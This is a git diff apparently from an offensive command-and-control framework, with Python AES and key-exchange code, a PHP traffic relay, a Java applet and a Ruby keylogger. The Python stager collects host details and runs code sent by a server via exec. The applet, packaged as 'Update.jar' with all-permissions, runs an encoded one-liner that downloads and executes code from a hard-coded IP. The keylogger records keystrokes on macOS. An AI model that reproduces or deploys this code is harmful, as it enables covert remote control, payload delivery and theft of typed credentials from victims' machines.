self._Ke[i // 4][i % 4] = tk[i] + self._Kd[rounds - (i // 4)][i % 4] = tk[i] + + # Key expansion (fips-197 section 5.2) + rconpointer = 0 + t = KC + while t < round_key_count: + + tt = tk[KC - 1] + tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ + (self.S[(tt >> 8) & 0xFF] << 16) ^ + (self.S[ tt & 0xFF] << 8) ^ + self.S[(tt >> 24) & 0xFF] ^ + (self.rcon[rconpointer] << 24)) + rconpointer += 1 + + if KC != 8: + for i in xrange(1, KC): + tk[i] ^= tk[i - 1] + + # Key expansion for 256-bit keys is "slightly different" (fips-197) + else: + for i in xrange(1, KC // 2): + tk[i] ^= tk[i - 1] + tt = tk[KC // 2 - 1] + + tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ + (self.S[(tt >> 8) & 0xFF] << 8) ^ + (self.S[(tt >> 16) & 0xFF] << 16) ^ + (self.S[(tt >> 24) & 0xFF] << 24)) + + for i in xrange(KC // 2 + 1, KC): + tk[i] ^= tk[i - 1] + + # Copy values into round key arrays + j = 0 + while j < KC and t < round_key_count: + self._Ke[t // 4][t % 4] = tk[j] + self._Kd[rounds - (t // 4)][t % 4] = tk[j] + j += 1 + t += 1 + + # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) + for r in xrange(1, rounds): + for j in xrange(0, 4): + tt = self._Kd[r][j] + self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ + self.U2[(tt >> 16) & 0xFF] ^ + self.U3[(tt >> 8) & 0xFF] ^ + self.U4[ tt & 0xFF]) + + def encrypt(self, plaintext): + 'Encrypt a block of plain text using the AES block cipher.' + + if len(plaintext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Ke) - 1 + (s1, s2, s3) = [1, 2, 3] + a = [0, 0, 0, 0] + + # Convert plaintext to (ints ^ key) + t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ + self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T4[ t[(i + s3) % 4] & 0xFF] ^ + self._Ke[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Ke[rounds][i] + result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + def decrypt(self, ciphertext): + 'Decrypt a block of cipher text using the AES block cipher.' + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + +def decrypt(self, ciphertext): + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + +class AESBlockModeOfOperation(object): + '''Super-class for AES modes of operation that require blocks.''' + def __init__(self, key): + self._aes = AES(key) + + def decrypt(self, ciphertext): + raise Exception('not implemented') + + def encrypt(self, plaintext): + raise Exception('not implemented') + + +class AESModeOfOperationCBC(AESBlockModeOfOperation): + + name = "Cipher-Block Chaining (CBC)" + + def __init__(self, key, iv = None): + if iv is None: + self._last_cipherblock = [ 0 ] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._last_cipherblock = _string_to_bytes(iv) + + AESBlockModeOfOperation.__init__(self, key) + + def encrypt(self, plaintext): + if len(plaintext) != 16: + raise ValueError('plaintext block must be 16 bytes') + + plaintext = _string_to_bytes(plaintext) + precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ] + self._last_cipherblock = self._aes.encrypt(precipherblock) + + return _bytes_to_string(self._last_cipherblock) + + + def decrypt(self, ciphertext): + if len(ciphertext) != 16: + raise ValueError('ciphertext block must be 16 bytes') + + cipherblock = _string_to_bytes(ciphertext) + plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ] + self._last_cipherblock = cipherblock + + return _bytes_to_string(plaintext) + + +def CBCenc(aesObj, plaintext, base64=False): + + # break the blocks in 16 byte chunks, padding the last chunk if necessary + blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)] + blocks[-1] = append_PKCS7_padding(blocks[-1]) + + ciphertext = "" + for block in blocks: + ciphertext += aesObj.encrypt(block) + + return ciphertext + + +def CBCdec(aesObj, ciphertext, base64=False): + + # break the blocks in 16 byte chunks, padding the last chunk if necessary + blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)] + + plaintext = "" + + for x in xrange(0, len(blocks)-1): + plaintext += aesObj.decrypt(blocks[x]) + + plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1])) + + return plaintext + + +def getIV(): + # return ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in xrange(16)) + return ''.join(chr(random.randint(0,255)) for _ in range(16)) + + +def aes_encrypt(key, data): + """ + Generate a random IV and new AES cipher object with the given + key, and return IV + encryptedData. + """ + IV = getIV() + aes = AESModeOfOperationCBC(key, iv=IV) + return IV + CBCenc(aes, data) + + +def aes_encrypt_then_hmac(key, data): + """ + Encrypt the data then calculate HMAC over the ciphertext. + """ + data = aes_encrypt(key, data) + mac = hmac.new(str(key), data, hashlib.sha1).digest() + return data + mac + + +def aes_decrypt(key, data): + """ + Generate an AES cipher object, pull out the IV from the data + and return the unencrypted data. + """ + IV = data[0:16] + aes = AESModeOfOperationCBC(key, iv=IV) + return CBCdec(aes, data[16:]) + + +def verify_hmac(key, data): + """ + Verify the HMAC supplied in the data with the given key. + """ + if len(data) > 20: + mac = data[-20:] + data = data[:-20] + expected = hmac.new(str(key), data, hashlib.sha1).digest() + # Double HMAC to prevent timing attacks. hmac.compare_digest() is + # preferable, but only available since Python 2.7.7. + return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest() + + return False + + +def aes_decrypt_and_verify(key, data): + """ + Decrypt the data, but only if it has a valid MAC. + """ + if len(data) > 32 and verify_hmac(key, data): + return aes_decrypt(key, data[:-20]) + + raise Exception("Invalid ciphertext received.") + + +def post_message(uri, data): + global headers + return (urllib2.urlopen(urllib2.Request(uri, data, headers))).read() + + +def get_sysinfo(): + + # listener | username | high_integrity | hostname | internal_ip | os_details | process_id | py_version + username = os.getlogin() + + uid = os.popen('id -u').read().strip() + highIntegrity = "True" if (uid == "0") else False + + osDetails = os.uname() + hostname = osDetails[1] + + x = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + x.connect(("10.0.0.0",80)) + internalIP = x.getsockname()[0] + x.close() + + osDetails = ",".join(osDetails) + processID = os.getpid() + pyVersion = '.'.join([str(x) for x in sys.version_info]) + + return "%s|%s|%s|%s|%s|%s|%s|%s" %(server, username, highIntegrity, hostname, internalIP, osDetails, processID, pyVersion) + + +# generate a randomized sessionID +sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(16)) + +# server configuration information +key = "REPLACE_STAGING_KEY" +server = 'REPLACE_SERVER' +profile = 'REPLACE_PROFILE' + +parts = profile.split("|") +taskURIs = parts[0].split(",") +userAgent = parts[1] +headersRaw = parts[2:] + +# global header dictionary +# sessionID is set by stager.py +headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)} + +# parse the headers into the global header dictionary +for headerRaw in headersRaw: + try: + headerKey = headerRaw.split(":")[0] + headerValue = headerRaw.split(":")[1] + + if headerKey.lower() == "cookie": + headers['Cookie'] = "%s;%s" %(headers['Cookie'], headerValue) + else: + headers[headerKey] = headerValue + except: + pass + +# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server +clientPub = DiffieHellman() +hmacData = aes_encrypt_then_hmac(key, str(clientPub.publicKey)) + +try: + # encode the hop information in a parameter + hopInfo = base64.b64encode(server + '&index.jsp') + response = post_message(server + "?" + hopInfo, hmacData) +except Exception as e: + exit() + + +# decrypt the server's public key and the server nonce +packet = aes_decrypt_and_verify(key, response) +nonce = packet[0:16] +serverPub = int(packet[16:]) + +# calculate the shared secret +clientPub.genKey(serverPub) +key = clientPub.key + +# encode the hop information again +postURI = server + '&index.php' +hopInfo = base64.b64encode(server + '&index.php') + +# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) +hmacData = aes_encrypt_then_hmac(clientPub.key, str(int(nonce)+1) + "|" + get_sysinfo()) +response = post_message(server + "?" + hopInfo, hmacData) + +# step 6 -> server sends HMAC(AES) +agent = aes_decrypt_and_verify(key, response) +exec(agent) diff --git a/data/misc/applet/Java.java b/data/misc/applet/Java.java new file mode 100644 index 0000000..d1a8e53 --- /dev/null +++ b/data/misc/applet/Java.java @@ -0,0 +1,48 @@ +import java.applet.*; +import java.awt.*; +import java.io.*; +import java.util.*; + +public class Java extends Applet { + + private Object initialized = null; + public Object isInitialized() + { + return initialized; + } + + public void init() + { + + try { + + PrintWriter writer = new PrintWriter("/tmp/status2", "UTF-8"); + writer.println("starting"); + writer.close(); + + String os = System.getProperty("os.name").toLowerCase(); + + if (os.indexOf( "win" ) >= 0) + { + // skip Windows + } + else { + // Linux/OSX + + // PrintWriter writer = new PrintWriter("/tmp/status", "UTF-8"); + // writer.println("starting"); + // writer.close(); + + Process f = Runtime.getRuntime().exec("python -c \"import sys,base64;exec(base64.b64decode('R3BmZHhiUUQ9J2ZMZk1ZRScKaW1wb3J0IHN5cywgdXJsbGliMjtvPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bc3lzLnZlcnNpb25faW5mb1swXV0sZnJvbWxpc3Q9WydidWlsZF9vcGVuZXInXSkuYnVpbGRfb3BlbmVyKCk7VUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztvLmFkZGhlYWRlcnM9WygnVXNlci1BZ2VudCcsVUEpXTthPW8ub3BlbignaHR0cDovLzE3Mi4zMS45OS4yMTE6ODA4MC9pbmRleC5hc3AnKS5yZWFkKCk7a2V5PScyYzEwM2YyYzRlZDFlNTljMGI0ZTJlMDE4MjE3NzBmYSc7UyxqLG91dD1yYW5nZSgyNTYpLDAsW10KZm9yIGkgaW4gcmFuZ2UoMjU2KToKICAgIGo9KGorU1tpXStvcmQoa2V5W2klbGVuKGtleSldKSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCmk9aj0wCmZvciBjaGFyIGluIGE6CiAgICBpPShpKzEpJTI1NgogICAgaj0oaitTW2ldKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KICAgIG91dC5hcHBlbmQoY2hyKG9yZChjaGFyKV5TWyhTW2ldK1Nbal0pJTI1Nl0pKQpleGVjKCcnLmpvaW4ob3V0KSk='));\""); + + f.waitFor(); + initialized = this; + } + + } + catch (Exception exception) + { + exception.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/data/misc/applet/MANIFEST.MF b/data/misc/applet/MANIFEST.MF new file mode 100644 index 0000000..2756ba5 --- /dev/null +++ b/data/misc/applet/MANIFEST.MF @@ -0,0 +1,4 @@ +Permissions: all-permissions +Codebase: * +Application-Name: Java +Name: Java.class diff --git a/data/misc/applet/applet.html b/data/misc/applet/applet.html new file mode 100644 index 0000000..a9d730d --- /dev/null +++ b/data/misc/applet/applet.html @@ -0,0 +1,7 @@ + +
+Loading, please wait...
+ + + diff --git a/data/misc/applet/build.sh b/data/misc/applet/build.sh new file mode 100755 index 0000000..227a7b0 --- /dev/null +++ b/data/misc/applet/build.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +rm -rf ./host/ +mkdir host +javac Java.java +jar cvf Update.jar Java.class +jar ufm Update.jar manifest.mf +mv Java.class ./host/ +mv Update.jar ./host/ +cp applet.html ./host/ diff --git a/data/misc/applet/host/Java.class b/data/misc/applet/host/Java.class new file mode 100644 index 0000000..9a16b6a Binary files /dev/null and b/data/misc/applet/host/Java.class differ diff --git a/data/misc/applet/host/Update.jar b/data/misc/applet/host/Update.jar new file mode 100644 index 0000000..6f32a4a Binary files /dev/null and b/data/misc/applet/host/Update.jar differ diff --git a/data/misc/applet/host/applet.html b/data/misc/applet/host/applet.html new file mode 100644 index 0000000..a9d730d --- /dev/null +++ b/data/misc/applet/host/applet.html @@ -0,0 +1,7 @@ + + +Loading, please wait...
+ + + diff --git a/data/misc/hop.php b/data/misc/hop.php new file mode 100644 index 0000000..ec3c095 --- /dev/null +++ b/data/misc/hop.php @@ -0,0 +1,97 @@ + /admin/get.php,/news.asp,/login/process.jsp +$resources = explode("," , "REPLACE_RESOURCES"); +$resource = $resources[mt_rand(0, count($resources) - 1)]; + + +function do_get_request($url, $optional_headers = null) +{ + $aContext = array( + 'http' => array( + 'method' => 'GET' + ), + ); + if ($optional_headers !== null) { + $aContext['http']['header'] = $optional_headers; + } + $cxContext = stream_context_create($aContext); + return file_get_contents($url, False, $cxContext); +} + +function do_post_request($url, $data, $optional_headers = null) +{ + $params = array('http' => array( + 'method' => 'POST', + 'content' => $data + )); + if ($optional_headers !== null) { + $params['http']['header'] = $optional_headers; + } + $ctx = stream_context_create($params); + $fp = @fopen($url, 'rb', false, $ctx); + if (!$fp) { + return ''; + } + $response = @stream_get_contents($fp); + if ($response === false) { + return ''; + } + return $response; +} + +if ($_SERVER['REQUEST_METHOD'] === "GET"){ + $parts = explode("?", $_SERVER['REQUEST_URI']); + if (count($parts) > 1){ + + $parts = explode("&", base64_decode($parts[1])); + if (count($parts) == 2){ + // in case where're doing stage 0 requests for stager.ps1 + $uri = $server.$parts[1]."?".base64_encode($parts[0]); + echo do_get_request($uri); + } + } + else { + if(isset($_COOKIE['SESSIONID'])) { + echo do_get_request(rtrim($server, "/").$resource, "Cookie: SESSIONID=".$_COOKIE['SESSIONID']); + } + else{ + echo do_get_request(rtrim($server, "/").$resource); + } + } +} + +else{ + $parts = explode("?", $_SERVER['REQUEST_URI']); + if (count($parts) > 1){ + + $parts = explode("&", base64_decode($parts[1])); + if (count($parts) == 2){ + // in case we're continuing stage negotiation + $uri = $server.$parts[1]."?".base64_encode($parts[0]); + $postdata = file_get_contents("php://input"); + + if(isset($_COOKIE['SESSIONID'])) { + echo do_post_request($uri, $postdata, "Cookie: SESSIONID=".$_COOKIE['SESSIONID']); + } + else{ + echo do_post_request($uri, $postdata); + } + } + } + else{ + $postdata = file_get_contents("php://input"); + if(isset($_COOKIE['SESSIONID'])) { + echo do_post_request(rtrim($server, "/").$resource, $postdata, "Cookie: SESSIONID=".$_COOKIE['SESSIONID']); + } + else{ + echo do_post_request(rtrim($server, "/").$resource, $postdata); + } + } +} +?> \ No newline at end of file diff --git a/data/misc/keylogger.b64 b/data/misc/keylogger.b64 new file mode 100644 index 0000000..6c9fbab --- /dev/null +++ b/data/misc/keylogger.b64 @@ -0,0 +1 @@ +ruby -W0 -e "require 'base64';eval(Base64.decode64('cmVxdWlyZSAndGhyZWFkJwpyZXF1aXJlICdkbCcKcmVxdWlyZSAnZGwvaW1wb3J0JwpJbXBvcnRlciA9IGlmIGRlZmluZWQ/KERMOjpJbXBvcnRlcikgdGhlbiBETDo6SW1wb3J0ZXIgZWxzZSBETDo6SW1wb3J0YWJsZSBlbmQKZGVmIHJ1YnlfMV85X29yX2hpZ2hlcj8KICBSVUJZX1ZFUlNJT04udG9fZiA+PSAxLjkKZW5kCmRlZiBtYWxsb2Moc2l6ZSkKICBpZiBydWJ5XzFfOV9vcl9oaWdoZXI/CiAgICBETDo6Q1B0ci5tYWxsb2Moc2l6ZSkKICBlbHNlCiAgICBETDo6bWFsbG9jKHNpemUpCiAgZW5kCmVuZAppZiBub3QgcnVieV8xXzlfb3JfaGlnaGVyPwogIG1vZHVsZSBETAogICAgbW9kdWxlIEltcG9ydGFibGUKICAgICAgZGVmIG1ldGhvZF9taXNzaW5nKG1ldGgsICphcmdzLCAmYmxvY2spCiAgICAgICAgc3RyID0gbWV0aC50b19zCiAgICAgICAgbG93ZXIgPSBzdHJbMCwxXS5kb3duY2FzZSArIHN0clsxLi4tMV0KICAgICAgICBpZiBzZWxmLnJlc3BvbmRfdG8/IGxvd2VyCiAgICAgICAgICBzZWxmLnNlbmQgbG93ZXIsICphcmdzCiAgICAgICAgZWxzZQogICAgICAgICAgc3VwZXIKICAgICAgICBlbmQKICAgICAgZW5kCiAgICBlbmQKICBlbmQKZW5kClNNX0tDSFJfQ0FDSEUgPSAzOApTTV9DVVJSRU5UX1NDUklQVCA9IC0yCk1BWF9BUFBfTkFNRSA9IDgwCm1vZHVsZSBDYXJib24KICBleHRlbmQgSW1wb3J0ZXIKICBkbGxvYWQgJy9TeXN0ZW0vTGlicmFyeS9GcmFtZXdvcmtzL0NhcmJvbi5mcmFtZXdvcmsvQ2FyYm9uJwogIGV4dGVybiAndW5zaWduZWQgbG9uZyBDb3B5UHJvY2Vzc05hbWUoY29uc3QgUHJvY2Vzc1NlcmlhbE51bWJlciAqLCB2b2lkICopJwogIGV4dGVybiAndm9pZCBHZXRGcm9udFByb2Nlc3MoUHJvY2Vzc1NlcmlhbE51bWJlciAqKScKICBleHRlcm4gJ3ZvaWQgR2V0S2V5cyh2b2lkICopJwogIGV4dGVybiAndW5zaWduZWQgY2hhciAqR2V0U2NyaXB0VmFyaWFibGUoaW50LCBpbnQpJwogIGV4dGVybiAndW5zaWduZWQgY2hhciBLZXlUcmFuc2xhdGUodm9pZCAqLCBpbnQsIHZvaWQgKiknCiAgZXh0ZXJuICd1bnNpZ25lZCBjaGFyIENGU3RyaW5nR2V0Q1N0cmluZyh2b2lkICosIHZvaWQgKiwgaW50LCBpbnQpJwogIGV4dGVybiAnaW50IENGU3RyaW5nR2V0TGVuZ3RoKHZvaWQgKiknCmVuZApwc24gPSBtYWxsb2MoMTYpCm5hbWUgPSBtYWxsb2MoMTYpCm5hbWVfY3N0ciA9IG1hbGxvYyhNQVhfQVBQX05BTUUpCmtleW1hcCA9IG1hbGxvYygxNikKc3RhdGUgPSBtYWxsb2MoOCkKaXR2X3N0YXJ0ID0gVGltZS5ub3cudG9faQpwcmV2X2Rvd24gPSBIYXNoLm5ldyhmYWxzZSkKbGFzdFdpbmRvdyA9ICIiCndoaWxlICh0cnVlKSBkbwogIENhcmJvbi5HZXRGcm9udFByb2Nlc3MocHNuLnJlZikKICBDYXJib24uQ29weVByb2Nlc3NOYW1lKHBzbi5yZWYsIG5hbWUucmVmKQogIENhcmJvbi5HZXRLZXlzKGtleW1hcCkKICBzdHJfbGVuID0gQ2FyYm9uLkNGU3RyaW5nR2V0TGVuZ3RoKG5hbWUpCiAgY29waWVkID0gQ2FyYm9uLkNGU3RyaW5nR2V0Q1N0cmluZyhuYW1lLCBuYW1lX2NzdHIsIE1BWF9BUFBfTkFNRSwgMHgwODAwMDEwMCkgPiAwCiAgYXBwX25hbWUgPSBpZiBjb3BpZWQgdGhlbiBuYW1lX2NzdHIudG9fcyBlbHNlICdVbmtub3duJyBlbmQKICBieXRlcyA9IGtleW1hcC50b19zdHIKICBjYXBfZmxhZyA9IGZhbHNlCiAgYXNjaWkgPSAwCiAgY3RybGNoYXIgPSAiIgogICgwLi4uMTI4KS5lYWNoIGRvIHxrfAogICAgaWYgKChieXRlc1trPj4zXS5vcmQgPj4gKGsmNykpICYgMSA+IDApCiAgICAgIGlmIG5vdCBwcmV2X2Rvd25ba10KICAgICAgICBjYXNlIGsKICAgICAgICAgIHdoZW4gMzYKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2VudGVyXSIKICAgICAgICAgIHdoZW4gNDgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW3RhYl0iCiAgICAgICAgICB3aGVuIDQ5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIiAiCiAgICAgICAgICB3aGVuIDUxCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltkZWxldGVdIgogICAgICAgICAgd2hlbiA1MwogICAgICAgICAgICBjdHJsY2hhciA9ICJbZXNjXSIKICAgICAgICAgIHdoZW4gNTUKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2NtZF0iCiAgICAgICAgICB3aGVuIDU2CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltzaGlmdF0iCiAgICAgICAgICB3aGVuIDU3CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjYXBzXSIKICAgICAgICAgIHdoZW4gNTgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW29wdGlvbl0iCiAgICAgICAgICB3aGVuIDU5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjdHJsXSIKICAgICAgICAgIHdoZW4gNjMKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2ZuXSIKICAgICAgICAgIGVsc2UKICAgICAgICAgICAgY3RybGNoYXIgPSAiIgogICAgICAgIGVuZAogICAgICAgIGlmIGN0cmxjaGFyID09ICIiIGFuZCBhc2NpaSA9PSAwCiAgICAgICAgICBrY2hyID0gQ2FyYm9uLkdldFNjcmlwdFZhcmlhYmxlKFNNX0tDSFJfQ0FDSEUsIFNNX0NVUlJFTlRfU0NSSVBUKQogICAgICAgICAgY3Vycl9hc2NpaSA9IENhcmJvbi5LZXlUcmFuc2xhdGUoa2Nociwgaywgc3RhdGUpCiAgICAgICAgICBjdXJyX2FzY2lpID0gY3Vycl9hc2NpaSA+PiAxNiBpZiBjdXJyX2FzY2lpIDwgMQogICAgICAgICAgcHJldl9kb3duW2tdID0gdHJ1ZQogICAgICAgICAgaWYgY3Vycl9hc2NpaSA9PSAwCiAgICAgICAgICAgIGNhcF9mbGFnID0gdHJ1ZQogICAgICAgICAgZWxzZQogICAgICAgICAgICBhc2NpaSA9IGN1cnJfYXNjaWkKICAgICAgICAgIGVuZAogICAgICAgIGVsc2lmIGN0cmxjaGFyICE9ICIiCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlCiAgICAgICAgZW5kCiAgICAgIGVuZAogICAgZWxzZQogICAgICBwcmV2X2Rvd25ba10gPSBmYWxzZQogICAgZW5kCiAgZW5kCiAgaWYgYXNjaWkgIT0gMCBvciBjdHJsY2hhciAhPSAiIgogICAgaWYgYXBwX25hbWUgIT0gbGFzdFdpbmRvdwogICAgICBwdXRzICJcblxuWyN7YXBwX25hbWV9XSAtIFsje1RpbWUubm93fV1cbiIKICAgICAgbGFzdFdpbmRvdyA9IGFwcF9uYW1lCiAgICBlbmQKICAgIGlmIGN0cmxjaGFyICE9ICIiCiAgICAgIHByaW50ICIje2N0cmxjaGFyfSIKICAgIGVsc2lmIGFzY2lpID4gMzIgYW5kIGFzY2lpIDwgMTI3CiAgICAgIGMgPSBpZiBjYXBfZmxhZyB0aGVuIGFzY2lpLmNoci51cGNhc2UgZWxzZSBhc2NpaS5jaHIgZW5kCiAgICAgIHByaW50ICIje2N9IgogICAgZWxzZQogICAgICBwcmludCAiWyN7YXNjaWl9XSIKICAgIGVuZAogICAgJHN0ZG91dC5mbHVzaAogIGVuZAogIEtlcm5lbC5zbGVlcCgwLjAxKQplbmQK'))" > keylog.txt \ No newline at end of file diff --git a/data/misc/keylogger.rb b/data/misc/keylogger.rb new file mode 100644 index 0000000..41f0728 --- /dev/null +++ b/data/misc/keylogger.rb @@ -0,0 +1,156 @@ +#!/usr/bin/ruby + +# From https://github.com/gojhonny/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb +# original author: joev +# license: MSF_LICENSE +# adaptation by: @harmj0y + +# to launch with a one-liner, # base64 -w 0 keylogger.rb > keylogger.b64 and +# => ruby -W0 -e "require 'base64';eval(Base64.decode64('BASE64_CODE'))" > keylog.txt + +require 'thread' +require 'dl' +require 'dl/import' + +#### Patches to DL (for compatibility between 1.8->1.9) +Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end +def ruby_1_9_or_higher? + RUBY_VERSION.to_f >= 1.9 +end +def malloc(size) + if ruby_1_9_or_higher? + DL::CPtr.malloc(size) + else + DL::malloc(size) + end +end +# the old Ruby Importer defaults methods to downcase every import +# This is annoying, so we'll patch with method_missing +if not ruby_1_9_or_higher? + module DL + module Importable + def method_missing(meth, *args, &block) + str = meth.to_s + lower = str[0,1].downcase + str[1..-1] + if self.respond_to? lower + self.send lower, *args + else + super + end + end + end + end +end + +#### External dynamically linked code +SM_KCHR_CACHE = 38 +SM_CURRENT_SCRIPT = -2 +MAX_APP_NAME = 80 +module Carbon + extend Importer + dlload '/System/Library/Frameworks/Carbon.framework/Carbon' + extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)' + extern 'void GetFrontProcess(ProcessSerialNumber *)' + extern 'void GetKeys(void *)' + extern 'unsigned char *GetScriptVariable(int, int)' + extern 'unsigned char KeyTranslate(void *, int, void *)' + extern 'unsigned char CFStringGetCString(void *, void *, int, int)' + extern 'int CFStringGetLength(void *)' +end +psn = malloc(16) +name = malloc(16) +name_cstr = malloc(MAX_APP_NAME) +keymap = malloc(16) +state = malloc(8) + +#### Actual Keylogger code +itv_start = Time.now.to_i +prev_down = Hash.new(false) +lastWindow = "" + +while (true) do + Carbon.GetFrontProcess(psn.ref) + Carbon.CopyProcessName(psn.ref, name.ref) + Carbon.GetKeys(keymap) + str_len = Carbon.CFStringGetLength(name) + copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0 + app_name = if copied then name_cstr.to_s else 'Unknown' end + + bytes = keymap.to_str + + cap_flag = false + ascii = 0 + ctrlchar = "" + (0...128).each do |k| + # pulled from apple's developer docs for Carbon#KeyMap/GetKeys + # puts (bytes[k >> 3].ord & (1 <<(k&7))) + if ((bytes[k>>3].ord >> (k&7)) & 1 > 0) + if not prev_down[k] + case k + when 36 + ctrlchar = "[enter]" + when 48 + ctrlchar = "[tab]" + when 49 + ctrlchar = " " + when 51 + ctrlchar = "[delete]" + when 53 + ctrlchar = "[esc]" + when 55 + ctrlchar = "[cmd]" + when 56 + ctrlchar = "[shift]" + when 57 + ctrlchar = "[caps]" + when 58 + ctrlchar = "[option]" + when 59 + ctrlchar = "[ctrl]" + when 63 + ctrlchar = "[fn]" + else + ctrlchar = "" + end + + if ctrlchar == "" and ascii == 0 + kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT) + curr_ascii = Carbon.KeyTranslate(kchr, k, state) + curr_ascii = curr_ascii >> 16 if curr_ascii < 1 + prev_down[k] = true + if curr_ascii == 0 + cap_flag = true + else + ascii = curr_ascii + end + elsif ctrlchar != "" + prev_down[k] = true + end + + end + else + prev_down[k] = false + end + end + + if ascii != 0 or ctrlchar != "" + + # only display + if app_name != lastWindow + puts "\n\n[#{app_name}] - [#{Time.now}]\n" + lastWindow = app_name + end + + if ctrlchar != "" + print "#{ctrlchar}" + elsif ascii > 32 and ascii < 127 + c = if cap_flag then ascii.chr.upcase else ascii.chr end + print "#{c}" + else + print "[#{ascii}]" + end + $stdout.flush + + end + Kernel.sleep(0.01) +end diff --git a/data/profiles/comfoo.txt b/data/profiles/comfoo.txt new file mode 100644 index 0000000..78eecbb --- /dev/null +++ b/data/profiles/comfoo.txt @@ -0,0 +1,5 @@ +# Basic comfoo profile +# 